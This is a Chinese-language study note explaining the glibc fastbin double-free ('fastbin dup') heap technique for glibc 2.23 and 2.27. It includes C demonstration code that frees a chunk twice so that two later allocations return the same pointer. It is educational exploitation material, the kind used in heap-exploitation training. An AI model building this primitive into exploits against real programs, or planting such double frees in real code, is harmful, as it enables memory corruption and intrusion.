Fastbin duplication
glibc-2.23
Fastbin的每一个bin是一个LIFO的单项链表
Fastbin dup attack的目的是两次(malloc)分到同一个fastbin块,可以构造如下fast bin链表:
注意:如果连续两次free同一个块进入fastbin会出错,中间必须隔开一个不同的chunk

Source code:
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
free(b);
free(a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
assert(a == c);
glibc-2.27
Fastbin的每一个bin是一个LIFO的单项链表
Fastbin dup attack的目的是两次(malloc)分到同一个fastbin块。如果连续两次free同一个块进入fastbin会出错,中间必须隔开一个不同的chunk。
记得calloc是不会从tcache中分配chunk的,所以2.27的fastbin duplication如下:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\\n");
printf("Fill up tcache first.\\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("Allocating 3 buffers.\\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\\n", a);
printf("2nd calloc(1, 8): %p\\n", b);
printf("3rd calloc(1, 8): %p\\n", c);
printf("Freeing the first one...\\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\\n", a);
printf("2nd calloc(1, 8): %p\\n", b);
printf("3rd calloc(1, 8): %p\\n", c);
assert(a == c);
}
记得第八块chunk是为了防止合并到top chunk的。虽然tcache和fastbin的内部不会合并,但是如果free的过程中撞到top chunk仍然是会与top chunk合并到。